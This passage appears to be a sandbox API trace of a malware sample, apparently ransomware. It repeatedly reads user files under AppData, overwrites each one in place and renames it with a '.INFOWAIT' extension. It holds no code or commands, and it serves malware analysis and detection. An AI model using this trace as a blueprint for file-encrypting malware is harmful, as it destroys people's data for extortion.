VirtualAlloc (lpAddress=0x0, dwSize=0x2fa9, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0141.799] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.799] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2fa9, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2fa9, lpOverlapped=0x0) returned 1 [0141.799] CloseHandle (hObject=0xad4) returned 1 [0141.799] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" [0141.799] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.INFOWAIT" [0141.799] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.infowait")) returned 1 [0141.799] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.800] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.800] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.800] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.801] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x105000 [0141.801] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.801] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.801] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0141.891] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0141.901] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.901] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0141.901] CloseHandle (hObject=0xad4) returned 1 [0141.901] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" [0141.901] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.INFOWAIT" [0141.902] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.infowait")) returned 1 [0141.902] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.903] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.904] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0141.904] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0141.905] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1106c [0141.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0141.905] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.905] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1106c, lpOverlapped=0x0) returned 1 [0142.063] VirtualAlloc (lpAddress=0x0, dwSize=0x1106c, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0142.068] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.068] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1106c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1106c, lpOverlapped=0x0) returned 1 [0142.069] CloseHandle (hObject=0xad4) returned 1 [0142.069] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" [0142.069] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.INFOWAIT" [0142.069] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.infowait")) returned 1 [0142.069] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.070] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.071] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.071] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.071] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x414 [0142.071] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.072] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.072] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x414, lpOverlapped=0x0) returned 1 [0142.100] VirtualAlloc (lpAddress=0x0, dwSize=0x414, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.100] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.100] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x414, lpOverlapped=0x0) returned 1 [0142.101] CloseHandle (hObject=0xad4) returned 1 [0142.101] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" [0142.101] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.INFOWAIT" [0142.101] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.infowait")) returned 1 [0142.101] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.102] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.102] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.102] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.103] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ff [0142.103] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.103] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.104] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ff, lpOverlapped=0x0) returned 1 [0142.114] VirtualAlloc (lpAddress=0x0, dwSize=0x4ff, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.115] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.115] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ff, lpOverlapped=0x0) returned 1 [0142.115] CloseHandle (hObject=0xad4) returned 1 [0142.115] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" [0142.115] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.INFOWAIT" [0142.115] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.infowait")) returned 1 [0142.117] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.118] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.118] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.118] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.118] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4f3 [0142.118] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.118] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.118] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4f3, lpOverlapped=0x0) returned 1 [0142.126] VirtualAlloc (lpAddress=0x0, dwSize=0x4f3, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.126] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.126] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4f3, lpOverlapped=0x0) returned 1 [0142.126] CloseHandle (hObject=0xad4) returned 1 [0142.127] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" [0142.127] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.INFOWAIT" [0142.127] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.infowait")) returned 1 [0142.127] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.128] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.128] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.128] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.129] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x504 [0142.129] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.129] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.129] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x504, lpOverlapped=0x0) returned 1 [0142.132] VirtualAlloc (lpAddress=0x0, dwSize=0x504, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.132] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.132] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x504, lpOverlapped=0x0) returned 1 [0142.132] CloseHandle (hObject=0xad4) returned 1 [0142.133] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" [0142.133] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.INFOWAIT" [0142.133] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.infowait")) returned 1 [0142.133] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.134] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.134] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0142.134] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0142.135] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x31d [0142.135] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0142.135] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.135] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x31d, lpOverlapped=0x0) returned 1 [0142.144] VirtualAlloc (lpAddress=0x0, dwSize=0x31d, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0142.144] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.144] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x31d, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x31d, lpOverlapped=0x0) returned 1 [0142.144] CloseHandle (hObject=0xad4) returned 1 [0142.144] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" [0142.144] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.INFOWAIT" [0142.144] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.infowait")) returned 1 [0142.145] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 